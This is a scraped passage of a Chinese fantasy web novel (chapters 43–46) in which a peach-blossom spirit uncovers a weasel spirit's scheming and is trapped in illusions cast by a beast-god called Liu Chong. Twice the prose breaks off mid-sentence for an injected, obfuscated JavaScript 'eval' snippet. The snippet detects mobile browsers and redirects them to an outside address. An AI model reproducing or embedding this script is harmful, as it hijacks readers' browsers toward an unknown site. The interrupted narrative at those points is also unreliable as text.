所以那么可爱的孩子是绝对不会犯错的。 说出“喜欢”这种词语也绝对不是她的本意,一定是那个丑恶的猫妖教坏了她。 没关系,黄鼠狼精想。 她还小,她还是个小孩子,犯错是在所难免的。说出了错的话,他可以当做没有发生过,至于那些已经被灌输到女孩脑中的、错误的、不该存在的想法,只要抹去就好了。 于是他让她睡了一觉。 果然睡醒后的女孩一下子就恢复了昔日的天真无邪,她还是那一个或许有些过分善良,但依旧心向大道的妖精。 桃花精没有回应,只是定定看着这面水镜,很快其中泛起一丝波澜,倒映出一面四方小天。 她认出来这正是太极宫内景象,“不是用来联络崔朔的吗,怎么连接到了太极宫的荷花池?” 黄鼠狼精与她头顶相抵,语调轻快:“嗯……谁知道呢?说不定崔朔在太极宫?” 话音刚落,这面水镜就泛起层层波澜,里面同时传来两道惊喜的声音: “云仙大人!” “陶姑娘。” 置于黄鼠狼精掌中的一小滩水面,很快被郑烨漂亮的小脸蛋占满,她只能从边缘处一只按住石壁的宽厚手掌辨认那大约是崔朔。 也是在这个时候,她忽然反应过来自己突然离去,还没有和郑烨说一声。 “崔朔啊。”桃花精没有去管激动的上蹿下跳的男孩,叫了一声崔朔,“你怎么跑去了太极宫?是宫里面又有什么吩咐吗?” 那边男孩抢着要答话,崔朔说先他一步条理清晰答道:“据说是因为陛下将烛歌献给太后娘娘,正巧碰上盛怒的柳相,柳相将怒火发泄到了那名舞男上,把他给乱棍打死了。于是我想来问问陛下可有什么头绪。” 桃花精听完这番话后极缓慢的眨 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“云仙大人,您是在帮方亦寒方大人调查案件嘛?这个我也听说了,这竟然是妖兽所为么!云仙大人,那我有没有什么能够帮助到您的地方呀,您尽管说!烨儿一定赴汤蹈火在所不辞!” 他像个小大人一样,握紧拳头,一副视死如归的模样,看着还真有几分好笑。 而桃花精也很配合的笑出了声,还扯扯黄鼠狼精的衣服,示意他也低头去看水镜里搞笑的男孩。 末了还贴心安慰:“此事事发突然,我也没想到招呼都来不及打一声就跑到了东河郡,你不必担心,我办完事很快就能回去,你就在太极宫里吃好玩好喝好,乖乖等我就好了。” 黄鼠狼精面色一变,手猛的一抖,却还是不及水镜里男孩的速度快。 “东河郡?云仙大人,您这是去外祖母那了,是又与母亲的事有关吗?”他懵懵懂懂地问道。 崔朔也在此时插话进来:“陶姑娘,东河郡——您是说北方的东河郡?那正是柳氏一族所在的地方,而东河郡太守就是我的外祖母,您的意思是说……鸿胪寺看管的军资被盗与东河郡有关?” 水镜里一大一小两个男人在说些什么桃花精已经听不大清了,她死死抓住黄鼠狼精的手腕,不让其动摇分毫。 她眼前一黑,只觉得晴天霹雳,骤然有一道白光在脑中乍现,“东河郡这地方我曾来过!” 她抬眼目不转睛盯着同样惊愕的黄鼠狼精,一字一句质问:“碰到方花零那日我让你蹲守在花神庙,可后来我带着烛歌去花神庙时却见不到你,那里干净整洁,显然是有人特意收拾过的,就是你吧?你一个十指不沾阳春水且看不上凡人物件的大妖,怎么会纡尊降贵收拾一个破庙?黄鼠狼精啊,你不会是在那里见什么大人物了吧?” 黄鼠狼精当即就要抽回手,却无法撼动女孩的强劲力量。只看到这个曾经对他百般依赖的女孩目光炯炯望着他,掷地有声: “此世间还能叫你有些许畏惧的恐怕就只有柳精,你收拾出来花神庙就是为了与柳精相见,那你们又商谈了什么?你又为何从花神庙跑出去了?到底是跑去人世间游荡还是为了给什么人腾地方?” 桃花精向前逼近一步:“黄鼠狼精,你知道的,我从来不信任你。” 43. 第 43 章 无论是借口她灵力不足还是担心她的安危,从她决定亲自帮鸿胪寺调查案件开始,黄鼠狼精就在有意无意地引导去往既定的方向。 最初到达这里时桃花精只是被此地的繁荣与热闹震惊,被一个奇怪女孩拉着说了一堆奇怪的话后,男人仿若无意般说出“东河郡”三个字。当听到东河郡时她还未疑心,她记忆里确确实实没有这个地名,只是单纯觉得这里有股莫名熟悉的气息——而她也将其归因于这里的人们信仰花神花绮英,种了许多的桃木,因此才会叫她觉得熟悉。 具体是什么时候昏睡过去的已经想不起来了,她醒过来后除了被巨大的空虚与迷惘包裹以外,还感受到了无穷尽的灵力混杂入月光中,然后一点点融化到她的肌肤之中。 这股灵力毫无疑问就是与她同源的、蕴含在桃花树中的庞大灵力。按理说虽然世间的一切生灵都包含有一定的灵力,可是这些对于妖精来说只是杯水车薪,哪怕有桃林十万里,其中的灵力也比不上日月星辰的万分之一。然而日月星辰里的灵力又是天道最直接的恩赐,普通妖精倘若直接吸收一定无法承受,因此需要以自身为媒介将其转化为同源灵力。 例如在桃花精与黄鼠狼精两个都状态良好时,男人就会先把自己的灵力转化为与桃花精同源的灵力,然后再将其注入她体内。 而如今月光仅仅是吸收了一点桃花树中所蕴含的灵力,就能被其同化,然后争先恐后地涌入桃花精身体中。 简单来说就是,整个东河郡便相当于一个超大桃花精,它自身就能够代替桃花精把本源灵力转化为她所需要的同源灵力,而后无需她额外做些什么就能顺顺利利得到这些灵力。 这简直是匪夷所思,天方夜谭。 可它偏偏就是发生在了桃花精身上。 造成如此情形不外乎两个原因:一、这里有一只实力极其强悍的大妖昼夜不息地在背后为她转化灵力,以至于造成一种“东河郡成了桃花精”的荒诞假象;二...... 在桃花精并不知道也不愿相信的过往,她曾与这片土地融为一体过,字面意思上的“东河郡是她”。 不,这根本不可能,这比“东河郡变成桃花精”还要荒诞离奇。 尽管身体认同这就是她的同源灵力,毕竟此世间也就只有她一个桃花精——可是,可是心理上桃花精依旧不能接受。在没有弄清楚真相前,她不可能让这种来历不明的东西进入自己体内。 比起对能力与强大的渴望,桃花精的首要选择永远是保护好自己。 于是支撑起一层薄弱的屏障,堪堪阻挡住疯狂朝自己涌来的灵力,她一路寻着熟悉的气息找到这个小巷子,碰上变得奇怪的黄鼠狼精后通过他的水镜,状似无意说出了东河郡这个名字,而后居然真的在郑烨跟崔朔那里得到了答案。 恐怕连男人也没意识到记性奇差的她会特意记住他偶然提了一嘴的名字吧。 桃花精一口气说完自己的猜想,抬头正视男人。 空气开始变得粘稠,像是被一层浓郁的欲念包裹,连四周的光线都好似被影响到,忽明忽暗起来。 黄鼠狼精面无表情时是很吓人的,具体表现在他此刻浑身上下散发出来的野兽气息,大妖的力量毫无保留地释放出来,周围的一切都开始颤栗或扭曲,那双琥珀色的眼眸不复昔日温润动人,正闪烁着不理智的嗜血光芒。 桃花精应该肯定黄鼠狼精不会伤害自己。 可还是出于妖精本能地感到畏惧,她下意识往后退了两步,然后眼睁睁看到一直面无表情的男人忽然笑了。 他笑了,甚至眼神里还带着一丝温柔的无奈。 男人低头看着紧握着自己手腕的女孩,轻轻叹了口气:“小桃,你总是这么聪明呢。”聪明到让人忍不住生气。 他顺着女孩的力道向前一步,重新拉近了两人的距离,然后抬起另一只手,温柔地覆在她的眼睑上,拇指轻轻摩挲着女孩的脸颊,就像从前许多次,她躺在他怀里发呆时那样。 那个时候的他们多幸福啊,没有任何人与妖的打扰,而她至少还很愿意装出信任他、亲近她的样子。 黄鼠狼精真的很不愿意去说他到底为女孩都做了什么,因为这会给他一种:啊,原来做的这一切都是为了要挟女孩来回应自己的爱呀——的感觉。潜意识里感到抗拒,哪怕所有对爱情的理解都只是无聊时翻阅的人间话本子,可他很明白,爱不是索取,爱就是爱,想让她好,想让她幸福。 可是——可是说到底!在内心最深处,还是没办法不感到怨恨啊! 明明他已经把所拥有的一切都给她了,没有的也不惜任何代价抢过来送给她,明明、明明他才是此世间最爱她的啊!为什么将近三百年了还是得不到女孩一句信任! 他到底比那群凡人差到哪了! 黄鼠狼精手下微微用力,却又立马在女孩皱眉的前一刻卸去所有力气,只是情难自抑地将灵力汇于指尖一点,然后轻柔地点着她的眉、她的眼、她的发,将灵力源源不断送去她那里,“可惜啊......有些事,就算聪明如小桃,恐怕也不能理解吧。” 话音刚落,桃花精便感觉到一股沉重的妖气瞬间笼罩了整个巷子。她猛地回头,便见月色彻底被无边的黑暗吞噬,猩红的单只眼眸陡然于空中睁开,一只庞然大物撕裂眼珠,嘶吼着从大眼中爬出来。 那是一只她从未见过的妖兽,身形高大,毛发如夜色般漆黑,四肢踏地时发出沉闷的低响,仿佛踩踏在时间的缝隙里,顷刻间便来到了她的面前。 它的眼睛幽黑深邃,又泛着恶心的猩红色,宛如两颗燃烧的黑曜石,深不见底地望向她。下一瞬,那只妖兽猛地踏前一步,庞大的妖气如潮水般席卷而来,桃花精只觉脑海一阵晕眩,眼前的景象开始模糊,她努力睁大双眼,想要看清黄鼠狼精的脸,却只觉得眼前远远近近迷幻非常,耳边最后一句分不清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272943|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 究竟是男人温柔的低语还是妖兽可怖的怒吼: “快点踏上你的应走之路吧,花神大人。” *** 桃花精做了一个梦。 梦里是椿璇死时的场景。 那天是陶丽绾临盆,雨下的很大,雷声也很可怕。 桃花精吓得跪在女人床边不停地哭,她紧紧攥住女人细瘦到几乎全是骨头的手,一遍又一遍抖着声音安慰说椿璇马上就请产婆回来了,不断在心里祈祷千万不要有事,一定一定要顺顺利利的。 产婆飞奔进来后让她赶紧帮忙准备热水打下手,她慌慌忙忙点头,连滚带爬跑去厨房烧水,由于太害怕以至于完全没意识到一旁奇奇怪怪的椿璇。 陶丽绾顺利生下一个女儿后,她喜不自胜,抱着那个小小的婴孩又哭又笑,守在床边照顾了这对虚弱的母女三天三夜。 在第三天晚上,和陶丽绾一起把孩子哄睡着后,女人让她把椿璇叫进来。也是在这个时候,桃花精才反应过来这三天来完全没看到椿璇的踪影。 于是当她后知后觉跑出去,喊破了嗓子,跑烂了双脚,终于找到椿璇时,看到的是女人被悬挂在城门口血淋淋的头颅。 努力从乱葬岗里扒拉出来椿璇的尸身,她用力把一半的桃枝插进断了头的脖子里,又把从城门口偷走的头按上去,一遍又一遍对着断裂处施法。 不知道究竟过去了多少个日夜,灵力被榨得一滴也不剩的桃花精抱着腐臭的尸体彻底昏死过去。 再次醒过来是被晃个不停的马车给摇醒的,睁开眼见到的就是陶丽绾温柔的面庞。 原来她正躺在陶丽绾腿上。 桃花精什么都没有说,只是抱住女人的腰放声痛哭。 陶丽绾也什么都没有问,只是轻轻摸着她的头发,说一起去东河郡好不好,说去了那里可以不可以继续保护她,还说—— “我们一起死在东河郡吧。” 桃花精猛然惊醒,意识渐渐从迷惘中清醒过来,眼神聚焦完成后措不及防对上一双狡黠的眸子,眸子的主人笑着说:“喂,我说,我们一起死在东河郡好吗?” 噩梦与现实在这一刻重叠,她失声尖叫,一把推开女孩从床上坐起来,瞪着眼睛惊疑不定观察四周的环境。 月白纱帐罩住她所在的柔软床榻,被她粗暴推开的女孩跌倒在地上也不生气,而是直接就地盘腿而坐,笑吟吟托腮看她。不远处的茜纱窗下有一方绣绷架着未完工的桃林春燕图,春燕黑漆漆一团宛若一块墨撒上去,反而是成片的桃花林宛若粉浪叠叠,栩栩如生。 忽有穿堂风吹过,惊动了床头的鹦鹉,鹦鹉顿时用它尖锐刺耳的声音大叫着:“杀了花绮英!杀了花绮英!” 刹那间冷汗跑遍全身,桃花精呼吸逐渐加重,双手用力攥紧手下光滑柔软的被褥,恐惧地望着前方地面。 那个坐在地上笑容诡异的女孩,和当朝太后长得一模一样! 44. 第 44 章 关于为什么太后如此了解“花绮英”且一直以来都对花绮英有着时而高涨时而低迷的执着,这样的问题并不是第一次出现在桃花精脑海了,早在那日陵园女人说出那句“绮丽纷纷,群英之率”时她就为此感到疑惑。 当时只是简单归因于此女与郑岚关系匪浅,故而从郑岚那里得知一些往事。可是后来认识了郑烨,从他那里得知先太子虽然是先皇从兄弟那里过继来的养子,可是过继来时先太子已然成家立业,并且先皇晚年沉迷于仙丹灵药之说,常常将自己关在太极宫内不肯见任何人,因此这对父子的关系并不亲密。 既然父子都相见寥寥,身为儿媳的太子妃——也就是当今太后,怎么又和先皇关系匪浅的。 或许是因为柔弱不可自理的郑岚还有点身为一国之君的责任心,看中了太子妃治国理政的才华,所以才常常将她召入宫闱多加教导。 往事真真假假难辨,桃花精盯着下面那张笑意盈盈的熟悉脸庞,只是遍体生寒,恍然意识到自己或许犯下一个大错。 天意不可窥测啊。 女孩的五官与太后一模一样,不过整张脸看上去还十分青涩稚嫩,很容易与真的太后分辨出来。 她穿了一身碧绿色的长裙,裙摆处的纹样正是不远处织机上的桃林春燕图,鲜活的粉色簇拥起春日的生机,随着女孩的起身,裙摆晃荡间仿若春风吹起层层粉浪。然而那上面还有三两只丑陋的黑疙瘩,尽管依稀能够辨认出燕子的形状,看上去却丝毫没有小动物的可爱有趣,反而诡异的很。 桃花精默默深呼吸试图让自己冷静下来,她不自觉地抱住床上锦被,来作没有任何用途的防御。 女孩嘴角挂着浅浅的笑意,眼睛弯弯地,是很有亲和力的模样。 然后打开鸟笼,一把抓住惊叫不止的鹦鹉开始用力捏—— 桃花精大惊,直接飞扑过去从女孩手中夺过鹦鹉,也因此将要从床榻摔下去,眼看头将着地,她抱住鹦鹉害怕地闭紧双眼,然而想象中的疼痛没有来临,反而陷入冰冷的柔软之中。 她缩了缩肩,小心睁开眼,便见到那个女孩接住了自己,依旧是很认真地看着她,只是脸上没了笑意。 这女孩虽然长得与太后一样,却不似太后那样高大威猛,桃花精一直以为她是个瘦弱的孩子,可如今倒在女孩怀里,意外发现女孩的长手长脚都很坚实有力,哪怕是抱住比自己还高半个头的桃花精,也毫不吃力。 桃花精赶紧从她怀里出来,同时语气震怒:“你怎可滥杀无辜!” 女孩面无表情歪了歪头,目光轻轻点在那只被她抱在怀里的鹦鹉上,过了好一会才又转移回她的脸上,“不过一只鸟雀,况且都要杀你了还无辜?” 她更生气了:“你听听自己的话矛盾不,不过一只鸟雀,连灵识都未产生,如何有杀人的念头?还不是有人在教它!”说不定就是你! 她咽下后面的话,被女孩冷冷注视着时浑身不自在,可还是努力撑起气势继续问下去:“你是谁?我怎么会在这里?你和黄鼠狼精是什么关系?” “柳翀。”女孩食指在空中比划着字形,“我的名字。至于你怎么会在这里——花神大人降临信奉花神的东河郡,这种事情应该是理所应当的吧?” 没有回答最后一个问题。 未等桃花精提问,她就主动提起:“这里是东河柳氏府邸,当今圣上的生母正是我小姨。” 满口谎言。 桃花精无动于衷,直接点明:“你不是人吧,幻化成太后的模样意欲何为?送往前线的军资是不是你烧的?” 她一路追查到这里可不是为了弄清楚那些乱七八糟的陈年往事恩怨纠葛,当下最要紧的是把柳鸿影送到京城的花神庙去,至于别的她以后自会探查。 她强硬抓住柳翀的手腕,而后以迅雷不及掩耳之势挥手打落她的面皮,下面果然还藏了另外一张眼熟的脸—— 这不就是刚进入东河郡时那个掰着她手看痣的女孩么。 柳翀被她突然的动作吓到,侧着脸目光定定看着地上的脸皮,过了许久冷笑一声,轻易甩开她的桎梏,蹲下指尖刚刚触及脸皮,下一刻唰的一声,这张与太后一样的脸就焚烧为灰烬了。 她默然片刻,忽而意味不明说道:“你果然很有天赋。”明明不久前还是个只使用些基础法术都很难得小妖精,没想到只一会就能随手毁掉这张耗费她诸多心血的面皮。 桃花精发出一声轻哼,动了动手指,“刚好被你塞了点灵力,就还给你吧。” 柳翀没有立即动作,只是蹲在地上看那片灰烬,犹在狡辩:“我不知道你在说什么。” “是吗。”拆穿女孩伪装之后,那股由于在异地见到熟人的怪异感终于褪去,她也冷静了许多:“古有妖神,名‘嗜月’,裂穹而生,形骇人,性诡谲,其毛如夜,其目若红渊,擅散神智,幻幻无穷,说的就是你吧,柳翀。” 桃花精犹记得自己昏迷前最后一眼见到的巨兽,之后就难得梦到了往昔之事。 那巨兽与女娲娘娘殿内一本古书里记载的一模一样,她有段时间被困在那里无处可去,无事可做,只能硬着头皮翻开几本书去看,正好见到了这么一段记载。 那时她心怀怨念,因想着别的事所以一切都只是草草看过,不过女娲娘娘的藏书阁可不是一般的地方,里面字不是字,而是能够贯穿人心脑神魂的神物。里面的文字但凡进入了谁的视野之内,就会牢牢钉在那人脑海之中,永生永世无法忘却。 桃花精没想到自己百年前闲来无事随手翻阅的书籍能在今日派上用场,方才一觉醒来见到太后的震惊过去,逐渐就意识到了这可能是针对自己的幻境。 毕竟她最近一直想着该怎么帮助太后对抗柳精,这妖兽看穿她的迷惘,幻化出来太后的脸来欺诈她也不是没有可能。 所谓“嗜月”,顾名思义就是通过吞噬月光来提取其中的精华,并转化为自身修炼的补给。能够做到这种事情的也就只有上古时期的大妖了。 尽管目前看来妖精比妖兽强大千倍万倍,甚至是在许多人眼中,妖精也是比妖兽高贵许多的精灵,但其实于此世间,妖兽是比妖精先要诞生的。 妖精与妖兽最浅显的区别是前者为精灵,后者为野兽,而在最本质上,二者的区别还要溯其本源。 凡世的皇帝为了统治子民,于是制定诸多律法来维护巩固其统治;同样的,所谓神仙鬼怪其实就是天道为了统御一切而衍生出来的规章律法,妖精则是辅助本种族延续生命,不断往更高阶进化的精灵,也算是神仙的分支?当然,妖精们可没胆量认定自己能够与神仙扯上关系,而神仙一般也不会把小妖精放在眼里。 至于妖兽呢,则是某一只动物或某一株植物吸收了天地日月之精华,经由种种因果缘分使然,才偶然生出灵识,修炼出人形。 就像神仙不会把妖精放在眼里一样,妖精自然也不会把妖兽放在眼里。对于妖精而言,妖兽就与路边随便一块石头,一株小花没有任何区别,只不过是有的花会说话,有的花不会罢了。 不过凡事皆有例外,比如妖神嗜月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳翀像是完全没听懂她在说什么,夸张地瞪大眼睛,哈哈大笑起来:“你也太天真了吧花绮英!你是在与我商量?花神大人......你觉得我们还有商量的余地吗?” “怎么没有?”桃花精虽然不懂这女孩为何一边口口声声叫自己花神大人,一边又毫不掩饰对她的恶意,但还是平心静气解释:“既然你是妖神,那许多话我们也能开诚布公来讲了。这批军资对象国来说非常重要,边关战事不休,百姓流离失所,多少女人与孩子经受了许多非人的苦难,无论你是与什么妖精还是妖兽筹谋,无论你们的目的是什么,都不该把无辜的凡人牵扯进来。” ............ 啊,真是...... 柳翀垂眸听着女孩的话,忍不住发笑。 在可能是敌人的她面前如此好言相劝,还一副妄想与她坐下来以朋友的关系好好谈一谈样子,甚至还请求她帮助自己,如此幼稚愚蠢的事情恐怕也只有这个万众瞩目而不自知的桃花精能够做出来了。 柳冲眼底愈发深沉,一颗心也彻底冷下来。 偏偏就是如此蠢笨的行为,由女孩做起来却带着异乎寻常的真诚。哪怕在外人看来多么不可理喻,桃花精也总能够真的去遵从自己的本心,想说什么就说什么,想做什么就做什么,在如此混乱的局面里依旧保持自己的纯真与善意。 也不知究竟是该叫人爱还是恨。 “既然都清楚我是谁了,还敢如此大放厥词,那就先等你体验一番后,再决定要不要收回这番话吧。”柳翀微微一笑,“梦还没做完吧。” 45. 第 45 章 桃花精睁开眼时发现自己正立于一片虚无之境,目之所及为混沌,黑与白交杂成令人头晕目眩的灰暗。她试探性地上前一步,脚下犹如实质的光芒震荡不止,看的人有些想吐。 她很想要伸手去扶着什么,害怕自己就此倒下,可是这里什么都没有,甚至也感受不到时间的流淌。 想起意识迷离之际柳翀留下的话,这里大约又是女孩设下的幻境,看来嗜月的致幻能力有很多种形式,除了让她陷入噩梦与见到太后的幻觉之中,还能够独立创造一个专门对付她的境象。 她试着调动灵力探查周围情况,却一无所得,无奈只能强忍着眩晕感慢慢往前走。 也不知道京城那边是什么情况,目前虽然知道军资是妖兽摧毁的,却不知其目的,况且这个说法也不能直接交给鸿胪寺,否则根本不信是一回事,还有可能把柳鸿影当做坑蒙拐骗的怪人。 虽然一直没说,但崔朔显然是知晓她妖精身份的,若是把这件事情告诉男人,他说不定能想出来个合适的理由应付朝廷。可这也只解得了一时的燃眉之急,治标不治本,若是妖兽往后还要作祟,岂不是永无宁日了。 归根到底还是要从柳翀那里入手,搞清楚她究竟为何要毁坏象国的军资。 之前在巷口昏迷时嗜月妖神与黄鼠狼精同时出现在她的身边,这两人肯定是认识的,而如今她的境况说不定也正被远在京城的柳精看在眼里。 柳翀可是妖神,桃花精其实不愿意相信她会给柳精卖命,难道说应该反过来,其实一切一切的幕后黑手都是柳翀,柳精也只是柳翀的一颗棋子? 也不应该啊。 桃花精思来想去还是觉得不对劲,虽然一直不清楚柳精与自己究竟有什么恩怨纠葛,但倘若真的有的话也在情理之中,说不定又是什么惊天地泣鬼神的感人故事,可柳翀呢?柳翀作为一个上古妖神怎么也不该和她这个才活了两百多年的小妖精有什么纠纷吧? ——诶,突然想起来柳翀似乎很信奉所谓的花神花绮英? 已知以郑岚的能力肯定是做不到把花神庙推广全国各地的,连京城的花神庙都破败不堪没什么名气,按理说数万里之外的东河郡应该压根没听说过所谓的“花神花绮英”才对。可是看这里人们的样子又似乎信奉花绮英很久?再结合经常把花绮英挂在嘴边的太后以及幻化成为太后模样的柳翀,难道此事和太后有关系? 桃花精低头思索得认真,完全忽略了周围原本叫人眩晕的环境,直到一个不察撞到什么东西身上,意识才骤然回笼。 她被撞得捂住额角连连后退两步,还没反应过来呢,下一瞬双肩就被两只修长如玉的手狠狠抓住,她难受得轻呼一声,抬头去看,瞬间瞪大了眼。 埋藏在记忆深处的面容乍然出现在眼前,不知是否由于太久没见的缘故让人觉得有点陌生,她一时恍惚愣在原地,呆呆望着眼前的男人动作,似是在分辨究竟是梦境还是幻境。 眼前这个抓住她的玉面郎君,可不就是郑岚吗? “阿英......”粘合在肩膀上的双手逐渐向后探去,桃花精只感觉一对异常有力的双臂死死箍住她的腰,下一瞬自己就被带进了一个冰冷的怀抱里。 郑岚此人生的美色无比,细眉长长如墨画,星眸闪闪似珠玉,一张芙蓉玉面无论嗔视笑语皆是情浓,神仪明秀,柔美乖顺,叫人见之难忘。 光看脸的话,男人比起自己的侄孙长相要更清纯可人一些,气质也要更为柔和。 “......郑岚!”桃花精震惊地捧住男人的脸,上下左右来来回回看了个遍,“你真是郑岚!” 郑岚居然长那么好看,她竟然一点印象都没有了。 尽管知道已死之人出现在这里肯定又是柳翀的幻象,但本着死马当活马医的念头,她还是抓着男人的衣领急切问道:“太后——就是从前的太子妃,究竟是何许人也?她跟东河柳氏有什么关系么?” 男人没有应声,他微微蹙起眉头,好看的眼睛泛起莹莹水色,把怀里的人搂的更紧了,并顺势将脸埋进桃花精的颈窝。 桃花精只觉得自己被一大块冰包裹,寒气从四面八方涌入她体内,她感到不适应立马想要推开男人,却怎么也使不上力气。 抱着自己的男人开口呼了一口气,裸露在外的皮肤瞬间像是结了一层冰似的难受,她生气了:“郑岚你在做什么!快放开我!” 郑岚不语,只是缓慢地、轻轻地呼出一口气,像是在酝酿什么不得了的事情因而特意百般准备,在女孩不断用力拍打自己时突然低头,含住她的一小块皮肉。 盛怒的桃花精刹那间安静下来,旋即整个人都因为脖颈上湿乎乎的感觉而变得僵硬,她顿顿地低下头,从她别扭的视角里只能看到男人半边侧脸。 郑岚羊脂般白皙的肌肤逐渐被绯红浸染,他用自己湿漉漉的口舌一路□□着向上,最后停留于她下巴处,而后终于说了第二句话:“好想......吃掉阿英。” 他一只手臂改为按住她的后颈,一副要压着她向下的态势,却不知为何迟迟没有用力,只是不断用四指与大拇指揉捏着那里,而他也在桃花精被这句话惊呆的片刻继续沿着侧上,含住她的耳垂、鬓发。 他含着她的鬓发,竟然真的开始啃咬起来! 桃花精猛地往后缩,却因此扯住头发吃痛,她在这鬼地方不知道怎么回事一点灵力与力气也没有,完全成了任人宰割的羔羊。 可恶啊!竟然敢吃她! 她在男人怀里挣扎半晌也无法撼动丝毫,这个幻象简直和柳翀一样大力,她累的气喘吁吁,措不及防与含笑的男人对上视线,心一横,干脆也狠狠咬住他一侧脸颊肉。 她牙上不断用力,都尝出了铁锈味,可抱着自己的男人依旧没有松手的迹象。 ......反正吃人什么的她是真做不出来。 到最后桃花精还是松开了口,郑岚脸颊只有破了皮的牙印,并没有怎么出血。 她绝望仰天,深深叹了一口气,苦思冥想想不出破解之法,又长叹了一口气。 郑岚像是精怪一样一眨不眨地盯着她看,那只置于她后颈的手转移到了她的眼角,而后又下滑至嘴唇,“阿英......为何要叹气?阿英不开心吗?” 桃花精有点不知道该怎么和一个幻象交流,更不知道这幻象究竟该算是郑岚还是柳翀,无奈为了继续向前走只得如实说出自己的心思:“我要帮一个人, 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“虽然不知道你究竟是什么......但都顶着郑岚的脸了就暂且把你当做他吧。”她摸着他的脸,见到他眼神微微亮起,顿了一下,慢吞吞继续说道:“虽然我记性不太好,但是有关于你的还是难以忘怀的,所以凭借着那一点记忆,我会愿意相信你说这些话不是因为你想控制我,只是——呃,或许我是你很重要的人吗——当然,可能只是我一厢情愿地这么想着。” “郑岚”眼睫迅速眨了两下,忽然移开了一直盯着她的视线。 她也移开了目光,稍微有些不好意思地低头看着脚下虚无,“你是喜欢我吗?如果、如果是的话,我想告诉你的是,喜欢一个人不是独占,而是给予这个人幸福的机会。” ——这句话是陶丽绾教给她的,有段时间她因为觉得陶丽绾偏心椿璇而闷闷不乐,为了不让两人在一起还做出过把椿璇关进柴房的事,后来被陶丽绾发现后,女人不仅没有指责她,还很温柔地对她说了上面那段话。 “你是我在凡间遇见的第三个很重要的凡人,在你之后我还遇见了很多很好的凡人,可是,我不会因为喜欢她们就不喜欢你了呀。”她认真分析:“毕竟你是个活生生的人,记性再怎么差也不可能全部忘记,有关于你的一切回忆对我来说都是独一无二、无可替代的。” 桃花精一直都坚信拥有最复杂情感的凡人,每一个都是这世间最独特的存在。 “所以也希望你能相信,你留在我脑海中的印象一定是不可撼动的,你也不需要用‘只能属于我’这种话来反复确认它的存在。” 周身的冰冷随着她的话渐渐褪去,丝丝缕缕的温暖顺着郑岚怀抱着她的躯体传入她体内,腰间的桎梏松开了,转而变成了轻柔地像蝴蝶亲吻的轻扶。 桃花精看到脚下的白茫茫一点点吸入黑色,四周灰色的混沌慢慢分离了一些,黑与白不再惑人五感似的完全纠缠在一起,至少她能看到前方亮起了一块莹白色的光斑。 “阿英。” 非常柔和与珍重的声音在耳边响起,她顺着声音去看,只见到了男人开始变得模糊的面容。 郑岚像是在笑,弯弯的眉眼却在流淌眼泪,他似乎想要伸手触碰,最终也只是抚平了她有些杂乱的发丝,轻声细语:“太好了,还能再见到阿英这件事,真是太好了。” ——烟消云散。 桃花精摸了摸鬓边发,独自一人继续往前走。 46. 第 46 章 继续往前走,是很长一段寒凉刺骨的路,最初郑岚幻象消散时所给予的那一点温暖早已经被阴冷的环境侵蚀。 妖精本没有冷热的感知,可是不知道从什么时候开始,和郑烨在一起的时候她会跟着按时食用一日三餐,也会时不时趴在屋子里的桌子上小憩。而现在,冷热的变化已经能很好地被她感知到了。 比起触感,更多的是好似被冻伤了皮肤的痛感。 她没什么情绪地往前走,脑袋也不再如刚刚进入幻境时抓着许多事情思考,开始变得空荡荡的,整个人都显示出不寻常的疲惫感。 好累啊,自打诞生以来应该是头一回走那么长时间的路吧。非要让她剖开心说出个什么所以然的话,大概也只有对于柳翀的埋怨了。埋怨柳翀都做那么大的幻境了,也不知道给她备个马车。 柳翀。 桃花精在心底默念这个名字,还挺好听。也不知道这究竟是嗜月妖神自己取的名字,还是抢了真正的柳家大小姐柳翀的名字。 其实她很想说,都已经是威名赫赫的妖神了,实在没必要再取个奇怪的凡人名字,直接用“嗜月”多好,既能清晰展现自己的最强之处,还能够震慑许多心怀不轨的小妖。 不过大抵妖兽总是要对名字有些执念的吧,嗜月说到底也只是柳翀自己琢磨出来的厉害招数,不像是妖精们都是直接称呼本体。也不知道柳翀究竟是什么妖兽,那晚在巷口匆匆一撇她也没有看清,只记得庞大无比,应该在原有的基础上又扭曲了形体。 就像烛歌从前也很执着于让她喊他的名字,说这样他就不再是没有意义的妖兽了。 意义啊。 桃花精游离的思绪回笼了一些,尽管一直以来妖精和妖兽的界限划分非常明确,但事实上她对此并没有什么特别概念,毕竟都是妖,就算二者之间存在很多差别,但二者与凡人的差别应该要更大一些吧? 拥有着复杂情感的凡人与对情感的感知总像是隔了一层厚厚屏障的妖,假如以凡人的视角来看,妖精与妖兽应该是大差不差的。 至于所谓的使命—— 桃花精自知不是个负责任的妖精,甚至黄鼠狼精这个种族差了十万八千里的妖精,都比她更像桃花精一点,大概正是因为一直以来的“玩忽职守”导致她始终对自己妖精的身份没多大认同感,比起来享受各方面的荣宠与艳羡,去往人间体验更多感情要更吸引她一些。 也是因此对于所有妖精都看不上的妖兽,她也总是会因为这些妖能够更自如更深层次地与凡人接触交流而感到羡慕,倘若她没有哺育桃花谷的职责,一定会想方设法延长陶丽绾的寿命,然后陪伴她度过一生。 好吧,归根结底无论是她还是上一代桃花精,对种族如此不负责任的源头似乎都是因为陶丽绾,因为在她那里见到了比妖界好上千倍万倍的东西,于是产生了私心。 那么妖兽会有私心吗? 她不可避免想到这个问题。 倘若妖兽有着同妖精出发点相同或是目的相同的私心,是不是就更能够缩小二者之间的差距了呢? 柳翀的私心是什么?烛歌的私心又是什么? “是你哦。” 